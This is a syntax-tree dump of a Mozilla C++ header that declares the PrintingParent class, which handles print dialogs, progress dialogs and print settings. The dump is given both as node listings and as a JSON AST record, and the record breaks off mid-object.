"AllocPPrintProgressDialogParent()" (identifier) "AllocPPrintProgressDialogParent" (argument_list) "()" (() "(" ()) ")" (;) ";" (declaration) "virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);" (type_identifier) "virtual" (ERROR) "bool" (identifier) "bool" (function_declarator) "DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor)" (identifier) "DeallocPPrintProgressDialogParent" (parameter_list) "(PPrintProgressDialogParent* aActor)" (() "(" (parameter_declaration) "PPrintProgressDialogParent* aActor" (type_identifier) "PPrintProgressDialogParent" (pointer_declarator) "* aActor" (*) "*" (identifier) "aActor" ()) ")" (;) ";" (declaration) "virtual PPrintSettingsDialogParent" (type_identifier) "virtual" (identifier) "PPrintSettingsDialogParent" (;) "" (expression_statement) "*\n AllocPPrintSettingsDialogParent();" (pointer_expression) "*\n AllocPPrintSettingsDialogParent()" (*) "*" (call_expression) "AllocPPrintSettingsDialogParent()" (identifier) "AllocPPrintSettingsDialogParent" (argument_list) "()" (() "(" ()) ")" (;) ";" (declaration) "virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);" (type_identifier) "virtual" (ERROR) "bool" (identifier) "bool" (function_declarator) "DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor)" (identifier) "DeallocPPrintSettingsDialogParent" (parameter_list) "(PPrintSettingsDialogParent* aActor)" (() "(" (parameter_declaration) "PPrintSettingsDialogParent* aActor" (type_identifier) "PPrintSettingsDialogParent" (pointer_declarator) "* aActor" (*) "*" (identifier) "aActor" ()) ")" (;) ";" (declaration) "virtual void\n ActorDestroy(ActorDestroyReason aWhy);" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "ActorDestroy(ActorDestroyReason aWhy)" (identifier) "ActorDestroy" (parameter_list) "(ActorDestroyReason aWhy)" (() "(" (parameter_declaration) "ActorDestroyReason aWhy" (type_identifier) "ActorDestroyReason" (identifier) "aWhy" ()) ")" (;) ";" (declaration) "MOZ_IMPLICIT PrintingParent();" (type_identifier) "MOZ_IMPLICIT" (function_declarator) "PrintingParent()" (identifier) "PrintingParent" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "virtual ~PrintingParent();" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "PrintingParent()" (identifier) "PrintingParent" (parameter_list) "()" (() "(" ()) ")" (;) ";" (labeled_statement) "private:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);" (statement_identifier) "private" (:) ":" (declaration) "nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);" (type_identifier) "nsIDOMWindow" (pointer_declarator) "*\n DOMWindowFromBrowserParent(PBrowserParent* parent)" (*) "*" (function_declarator) "DOMWindowFromBrowserParent(PBrowserParent* parent)" (identifier) "DOMWindowFromBrowserParent" (parameter_list) "(PBrowserParent* parent)" (() "(" (parameter_declaration) "PBrowserParent* parent" (type_identifier) "PBrowserParent" (pointer_declarator) "* parent" (*) "*" (identifier) "parent" ()) ")" (;) ";" (declaration) "nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);" (type_identifier) "nsresult" (function_declarator) "ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result)" (identifier) "ShowPrintDialog" (parameter_list) "(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result)" (() "(" (parameter_declaration) "PBrowserParent* parent" (type_identifier) "PBrowserParent" (pointer_declarator) "* parent" (*) "*" (identifier) "parent" (,) "," (parameter_declaration) "const PrintData& data" (type_qualifier) "const" (const) "const" (type_identifier) "PrintData" (ERROR) "&" (&) "&" (identifier) "data" (,) "," (parameter_declaration) "PrintData* result" (type_identifier) "PrintData" (pointer_declarator) "* result" (*) "*" (identifier) "result" ()) ")" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (}) "}" (comment) "// namespace embedding" (}) "}" (comment) "// namespace mozilla" (#endif) "#endif"
308
14
{"language": "c", "success": true, "metadata": {"lines": 55, "avg_line_length": 36.91, "nodes": 196, "errors": 0, "source_hash": "543a6352ff6be16dea1a2a1ed7c6facd037e4f21bd582e89337a50bb7191d834", "categorized_nodes": 137}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef mozilla_embedding_PrintingParent_h\n#define mozilla_embedding_PrintingParent_h\n\n#include \"mozilla/dom/PBrowserParent.h\"\n#include \"mozilla/embedding/PPrintingParent.h\"\n\nclass nsIDOMWindow;\nclass PPrintProgressDialogParent;\nclass PPrintSettingsDialogParent;\n\nnamespace mozilla {\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n} // namespace embedding\n} // namespace mozilla\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 14, 16, 18, 195], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 69, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 7}}, {"id": 2, "type": "identifier", "text": "mozilla_embedding_PrintingParent_h", "parent": 0, "children": [], "start_point": {"row": 6, "column": 8}, "end_point": {"row": 6, "column": 42}}, {"id": 3, "type": "preproc_def", "text": "#define mozilla_embedding_PrintingParent_h\n", "parent": 0, "children": [4, 5], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 5, "type": "identifier", "text": "mozilla_embedding_PrintingParent_h", "parent": 3, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 42}}, {"id": 6, "type": "preproc_include", "text": "#include \"mozilla/dom/PBrowserParent.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"mozilla/dom/PBrowserParent.h\"", "parent": 6, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 39}}, {"id": 9, "type": "preproc_include", "text": "#include \"mozilla/embedding/PPrintingParent.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"mozilla/embedding/PPrintingParent.h\"", "parent": 9, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 46}}, {"id": 12, "type": "declaration", "text": "class nsIDOMWindow;", "parent": 0, "children": [13], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 19}}, {"id": 13, "type": "identifier", "text": "nsIDOMWindow", "parent": 12, "children": [], "start_point": {"row": 12, "column": 6}, "end_point": {"row": 12, "column": 18}}, {"id": 14, "type": "declaration", "text": "class PPrintProgressDialogParent;", "parent": 0, "children": [15], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 33}}, {"id": 15, "type": "identifier", "text": "PPrintProgressDialogParent", "parent": 14, "children": [], "start_point": {"row": 13, "column": 6}, "end_point": {"row": 13, "column": 32}}, {"id": 16, "type": "declaration", "text": "class PPrintSettingsDialogParent;", "parent": 0, "children": [17], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 33}}, {"id": 17, "type": "identifier", "text": "PPrintSettingsDialogParent", "parent": 16, "children": [], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 32}}, {"id": 18, "type": "function_definition", "text": "namespace mozilla {\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n} // namespace embedding\n}", "parent": 0, "children": [19, 20], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 67, "column": 1}}, {"id": 19, "type": "type_identifier", "text": "namespace", "parent": 18, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 9}}, {"id": 20, "type": "identifier", "text": "mozilla", "parent": 18, "children": [], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 17}}, {"id": 21, "type": "function_definition", "text": "namespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n}", "parent": 18, "children": [22, 23], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 66, "column": 1}}, {"id": 22, "type": "type_identifier", "text": "namespace", "parent": 21, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 9}}, {"id": 23, "type": "identifier", "text": "embedding", "parent": 21, "children": [], "start_point": {"row": 17, "column": 10}, "end_point": {"row": 17, "column": 19}}, {"id": 24, "type": "declaration", "text": "class PrintingParent", "parent": 21, "children": [25], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 20}}, {"id": 25, "type": "identifier", "text": "PrintingParent", "parent": 24, "children": [], "start_point": {"row": 19, "column": 6}, "end_point": {"row": 19, "column": 20}}, {"id": 26, "type": "labeled_statement", "text": "final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n}", "parent": 21, "children": [27, 28], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 65, "column": 1}}, {"id": 27, "type": "statement_identifier", "text": "final", "parent": 26, "children": [], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 26}}, {"id": 28, "type": "ERROR", "text": "public PPrintingParent", "parent": 26, "children": [29], "start_point": {"row": 19, "column": 29}, "end_point": {"row": 19, "column": 51}}, {"id": 29, "type": "identifier", "text": "PPrintingParent", "parent": 28, "children": [], "start_point": {"row": 19, "column": 36}, "end_point": {"row": 19, "column": 51}}, {"id": 30, "type": "labeled_statement", "text": "public:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);", "parent": 26, "children": [31], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 27, "column": 36}}, {"id": 31, "type": "declaration", "text": "virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);", "parent": 30, "children": [32, 33, 35], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 27, "column": 36}}, {"id": 32, "type": "type_identifier", "text": "virtual", "parent": 31, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 11}}, {"id": 33, "type": "ERROR", "text": "bool", "parent": 31, "children": [34], "start_point": {"row": 22, "column": 12}, "end_point": {"row": 22, "column": 16}}, {"id": 34, "type": "identifier", "text": "bool", "parent": 33, "children": [], "start_point": {"row": 22, "column": 12}, "end_point": {"row": 22, "column": 16}}, {"id": 35, "type": "function_declarator", "text": "RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success)", "parent": 31, "children": [36, 37], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 27, "column": 35}}, {"id": 36, "type": "identifier", "text": "RecvShowProgress", "parent": 35, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 20}}, {"id": 37, "type": "parameter_list", "text": "(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success)", "parent": 35, "children": [38, 43, 48, 51, 56], "start_point": {"row": 23, "column": 20}, "end_point": {"row": 27, "column": 35}}, {"id": 38, "type": "parameter_declaration", "text": "PBrowserParent* parent", "parent": 37, "children": [39, 40], "start_point": {"row": 23, "column": 21}, "end_point": {"row": 23, "column": 43}}, {"id": 39, "type": "type_identifier", "text": "PBrowserParent", "parent": 38, "children": [], "start_point": {"row": 23, "column": 21}, "end_point": {"row": 23, "column": 35}}, {"id": 40, "type": "pointer_declarator", "text": "* parent", "parent": 38, "children": [41, 42], "start_point": {"row": 23, "column": 35}, "end_point": {"row": 23, "column": 43}}, {"id": 41, "type": "*", "text": "*", "parent": 40, "children": [], "start_point": {"row": 23, "column": 35}, "end_point": {"row": 23, "column": 36}}, {"id": 42, "type": "identifier", "text": "parent", "parent": 40, "children": [], "start_point": {"row": 23, "column": 37}, "end_point": {"row": 23, "column": 43}}, {"id": 43, "type": "parameter_declaration", "text": "PPrintProgressDialogParent* printProgressDialog", "parent": 37, "children": [44, 45], "start_point": {"row": 24, "column": 21}, "end_point": {"row": 24, "column": 68}}, {"id": 44, "type": "type_identifier", "text": "PPrintProgressDialogParent", "parent": 43, "children": [], "start_point": {"row": 24, "column": 21}, "end_point": {"row": 24, "column": 47}}, {"id": 45, "type": "pointer_declarator", "text": "* printProgressDialog", "parent": 43, "children": [46, 47], "start_point": {"row": 24, "column": 47}, "end_point": {"row": 24, "column": 68}}, {"id": 46, "type": "*", "text": "*", "parent": 45, "children": [], "start_point": {"row": 24, "column": 47}, "end_point": {"row": 24, "column": 48}}, {"id": 47, "type": "identifier", "text": "printProgressDialog", "parent": 45, "children": [], "start_point": {"row": 24, "column": 49}, "end_point": {"row": 24, "column": 68}}, {"id": 48, "type": "parameter_declaration", "text": "const bool& isForPrinting", "parent": 37, "children": [49, 50], "start_point": {"row": 25, "column": 21}, "end_point": {"row": 25, "column": 46}}, {"id": 49, "type": "primitive_type", "text": "bool", "parent": 48, "children": [], "start_point": {"row": 25, "column": 27}, "end_point": {"row": 25, "column": 31}}, {"id": 50, "type": "identifier", "text": "isForPrinting", "parent": 48, "children": [], "start_point": {"row": 25, "column": 33}, "end_point": {"row": 25, "column": 46}}, {"id": 51, "type": "parameter_declaration", "text": "bool* notifyOnOpen", "parent": 37, "children": [52, 53], "start_point": {"row": 26, "column": 21}, "end_point": {"row": 26, "column": 39}}, {"id": 52, "type": "primitive_type", "text": "bool", "parent": 51, "children": [], "start_point": {"row": 26, "column": 21}, "end_point": {"row": 26, "column": 25}}, {"id": 53, "type": "pointer_declarator", "text": "* notifyOnOpen", "parent": 51, "children": [54, 55], "start_point": {"row": 26, "column": 25}, "end_point": {"row": 26, "column": 39}}, {"id": 54, "type": "*", "text": "*", "parent": 53, "children": [], "start_point": {"row": 26, "column": 25}, "end_point": {"row": 26, "column": 26}}, {"id": 55, "type": "identifier", "text": "notifyOnOpen", "parent": 53, "children": [], "start_point": {"row": 26, "column": 27}, "end_point": {"row": 26, "column": 39}}, {"id": 56, "type": "parameter_declaration", "text": "bool* success", "parent": 37, "children": [57, 58], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 27, "column": 34}}, {"id": 57, "type": "primitive_type", "text": "bool", "parent": 56, "children": [], "start_point": {"row": 27, "column": 21}, "end_point": {"row": 27, "column": 25}}, {"id": 58, "type": "pointer_declarator", "text": "* success", "parent": 56, "children": [59, 60], "start_point": {"row": 27, "column": 25}, "end_point": {"row": 27, "column": 34}}, {"id": 59, "type": "*", "text": "*", "parent": 58, "children": [], "start_point": {"row": 27, "column": 25}, "end_point": {"row": 27, "column": 26}}, {"id": 60, "type": "identifier", "text": "success", "parent": 58, "children": [], "start_point": {"row": 27, "column": 27}, "end_point": {"row": 27, "column": 34}}, {"id": 61, "type": "declaration", "text": "virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);", "parent": 26, "children": [62, 63, 65], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 31, "column": 48}}, {"id": 62, "type": "type_identifier", "text": "virtual", "parent": 61, "children": [], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 11}}, {"id": 63, "type": "ERROR", "text": "bool", "parent": 61, "children": [64], "start_point": {"row": 28, "column": 12}, "end_point": {"row": 28, "column": 16}}, {"id": 64, "type": "identifier", "text": "bool", "parent": 63, "children": [], "start_point": {"row": 28, "column": 12}, "end_point": {"row": 28, "column": 16}}, {"id": 65, "type": "function_declarator", "text": "RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData)", "parent": 61, "children": [66, 67], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 31, "column": 47}}, {"id": 66, "type": "identifier", "text": "RecvShowPrintDialog", "parent": 65, "children": [], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 23}}, {"id": 67, "type": "parameter_list", "text": "(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData)", "parent": 65, "children": [68, 73, 78], "start_point": {"row": 29, "column": 23}, "end_point": {"row": 31, "column": 47}}, {"id": 68, "type": "parameter_declaration", "text": "PPrintSettingsDialogParent* aDialog", "parent": 67, "children": [69, 70], "start_point": {"row": 29, "column": 24}, "end_point": {"row": 29, "column": 59}}, {"id": 69, "type": "type_identifier", "text": "PPrintSettingsDialogParent", "parent": 68, "children": [], "start_point": {"row": 29, "column": 24}, "end_point": {"row": 29, "column": 50}}, {"id": 70, "type": "pointer_declarator", "text": "* aDialog", "parent": 68, "children": [71, 72], "start_point": {"row": 29, "column": 50}, "end_point": {"row": 29, "column": 59}}, {"id": 71, "type": "*", "text": "*", "parent": 70, "children": [], "start_point": {"row": 29, "column": 50}, "end_point": {"row": 29, "column": 51}}, {"id": 72, "type": "identifier", "text": "aDialog", "parent": 70, "children": [], "start_point": {"row": 29, "column": 52}, "end_point": {"row": 29, "column": 59}}, {"id": 73, "type": "parameter_declaration", "text": "PBrowserParent* aParent", "parent": 67, "children": [74, 75], "start_point": {"row": 30, "column": 24}, "end_point": {"row": 30, "column": 47}}, {"id": 74, "type": "type_identifier", "text": "PBrowserParent", "parent": 73, "children": [], "start_point": {"row": 30, "column": 24}, "end_point": {"row": 30, "column": 38}}, {"id": 75, "type": "pointer_declarator", "text": "* aParent", "parent": 73, "children": [76, 77], "start_point": {"row": 30, "column": 38}, "end_point": {"row": 30, "column": 47}}, {"id": 76, "type": "*", "text": "*", "parent": 75, "children": [], "start_point": {"row": 30, "column": 38}, "end_point": {"row": 30, "column": 39}}, {"id": 77, "type": "identifier", "text": "aParent", "parent": 75, "children": [], "start_point": {"row": 30, "column": 40}, "end_point": {"row": 30, "column": 47}}, {"id": 78, "type": "parameter_declaration", "text": "const PrintData& aData", "parent": 67, "children": [79, 80], "start_point": {"row": 31, "column": 24}, "end_point": {"row": 31, "column": 46}}, {"id": 79, "type": "type_identifier", "text": "PrintData", "parent": 78, "children": [], "start_point": {"row": 31, "column": 30}, "end_point": {"row": 31, "column": 39}}, {"id": 80, "type": "identifier", "text": "aData", "parent": 78, "children": [], "start_point": {"row": 31, "column": 41}, "end_point": {"row": 31, "column": 46}}, {"id": 81, "type": "declaration", "text": "virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);", "parent": 26, "children": [82, 83, 85], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 37, "column": 40}}, {"id": 82, "type": "type_identifier", "text": "virtual", "parent": 81, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 11}}, {"id": 83, "type": "ERROR", "text": "bool", "parent": 81, "children": [84], "start_point": {"row": 33, "column": 12}, "end_point": {"row": 33, "column": 16}}, {"id": 84, "type": "identifier", "text": "bool", "parent": 83, "children": [], "start_point": {"row": 33, "column": 12}, "end_point": {"row": 33, "column": 16}}, {"id": 85, "type": "function_declarator", "text": "RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv)", "parent": 81, "children": [86, 87], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 37, "column": 39}}, {"id": 86, "type": "identifier", "text": "RecvSavePrintSettings", "parent": 85, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 25}}, {"id": 87, "type": "parameter_list", "text": "(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv)", "parent": 85, "children": [88, 91, 94, 97], "start_point": {"row": 34, "column": 25}, "end_point": {"row": 37, "column": 39}}, {"id": 88, "type": "parameter_declaration", "text": "const PrintData& data", "parent": 87, "children": [89, 90], "start_point": {"row": 34, "column": 26}, "end_point": {"row": 34, "column": 47}}, {"id": 89, "type": "type_identifier", "text": "PrintData", "parent": 88, "children": [], "start_point": {"row": 34, "column": 32}, "end_point": {"row": 34, "column": 41}}, {"id": 90, "type": "identifier", "text": "data", "parent": 88, "children": [], "start_point": {"row": 34, "column": 43}, "end_point": {"row": 34, "column": 47}}, {"id": 91, "type": "parameter_declaration", "text": "const bool& usePrinterNamePrefix", "parent": 87, "children": [92, 93], "start_point": {"row": 35, "column": 26}, "end_point": {"row": 35, "column": 58}}, {"id": 92, "type": "primitive_type", "text": "bool", "parent": 91, "children": [], "start_point": {"row": 35, "column": 32}, "end_point": {"row": 35, "column": 36}}, {"id": 93, "type": "identifier", "text": "usePrinterNamePrefix", "parent": 91, "children": [], "start_point": {"row": 35, "column": 38}, "end_point": {"row": 35, "column": 58}}, {"id": 94, "type": "parameter_declaration", "text": "const uint32_t& flags", "parent": 87, "children": [95, 96], "start_point": {"row": 36, "column": 26}, "end_point": {"row": 36, "column": 47}}, {"id": 95, "type": "primitive_type", "text": "uint32_t", "parent": 94, "children": [], "start_point": {"row": 36, "column": 32}, "end_point": {"row": 36, "column": 40}}, {"id": 96, "type": "identifier", "text": "flags", "parent": 94, "children": [], "start_point": {"row": 36, "column": 42}, "end_point": {"row": 36, "column": 47}}, {"id": 97, "type": "parameter_declaration", "text": "nsresult* rv", "parent": 87, "children": [98, 99], "start_point": {"row": 37, "column": 26}, "end_point": {"row": 37, "column": 38}}, {"id": 98, "type": "type_identifier", "text": "nsresult", "parent": 97, "children": [], "start_point": {"row": 37, "column": 26}, "end_point": {"row": 37, "column": 34}}, {"id": 99, "type": "pointer_declarator", "text": "* rv", "parent": 97, "children": [100, 101], "start_point": {"row": 37, "column": 34}, "end_point": {"row": 37, "column": 38}}, {"id": 100, "type": "*", "text": "*", "parent": 99, "children": [], "start_point": {"row": 37, "column": 34}, "end_point": {"row": 37, "column": 35}}, {"id": 101, "type": "identifier", "text": "rv", "parent": 99, "children": [], "start_point": {"row": 37, "column": 36}, "end_point": {"row": 37, "column": 38}}, {"id": 102, "type": "declaration", "text": "virtual PPrintProgressDialogParent", "parent": 26, "children": [103, 104], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 38}}, {"id": 103, "type": "type_identifier", "text": "virtual", "parent": 102, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 11}}, {"id": 104, "type": "identifier", "text": "PPrintProgressDialogParent", "parent": 102, "children": [], "start_point": {"row": 39, "column": 12}, "end_point": {"row": 39, "column": 38}}, {"id": 105, "type": "pointer_expression", "text": "*\n AllocPPrintProgressDialogParent()", "parent": 26, "children": [106, 107], "start_point": {"row": 39, "column": 38}, "end_point": {"row": 40, "column": 37}}, {"id": 106, "type": "*", "text": "*", "parent": 105, "children": [], "start_point": {"row": 39, "column": 38}, "end_point": {"row": 39, "column": 39}}, {"id": 107, "type": "call_expression", "text": "AllocPPrintProgressDialogParent()", "parent": 105, "children": [108, 109], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 37}}, {"id": 108, "type": "identifier", "text": "AllocPPrintProgressDialogParent", "parent": 107, "children": [], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 35}}, {"id": 109, "type": "argument_list", "text": "()", "parent": 107, "children": [], "start_point": {"row": 40, "column": 35}, "end_point": {"row": 40, "column": 37}}, {"id": 110, "type": "declaration", "text": "virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);", "parent": 26, "children": [111, 112, 114], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 43, "column": 74}}, {"id": 111, "type": "type_identifier", "text": "virtual", "parent": 110, "children": [], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 11}}, {"id": 112, "type": "ERROR", "text": "bool", "parent": 110, "children": [113], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 16}}, {"id": 113, "type": "identifier", "text": "bool", "parent": 112, "children": [], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 16}}, {"id": 114, "type": "function_declarator", "text": "DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor)", "parent": 110, "children": [115, 116], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 73}}, {"id": 115, "type": "identifier", "text": "DeallocPPrintProgressDialogParent", "parent": 114, "children": [], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 37}}, {"id": 116, "type": "parameter_list", "text": "(PPrintProgressDialogParent* aActor)", "parent": 114, "children": [117], "start_point": {"row": 43, "column": 37}, "end_point": {"row": 43, "column": 73}}, {"id": 117, "type": "parameter_declaration", "text": "PPrintProgressDialogParent* aActor", "parent": 116, "children": [118, 119], "start_point": {"row": 43, "column": 38}, "end_point": {"row": 43, "column": 72}}, {"id": 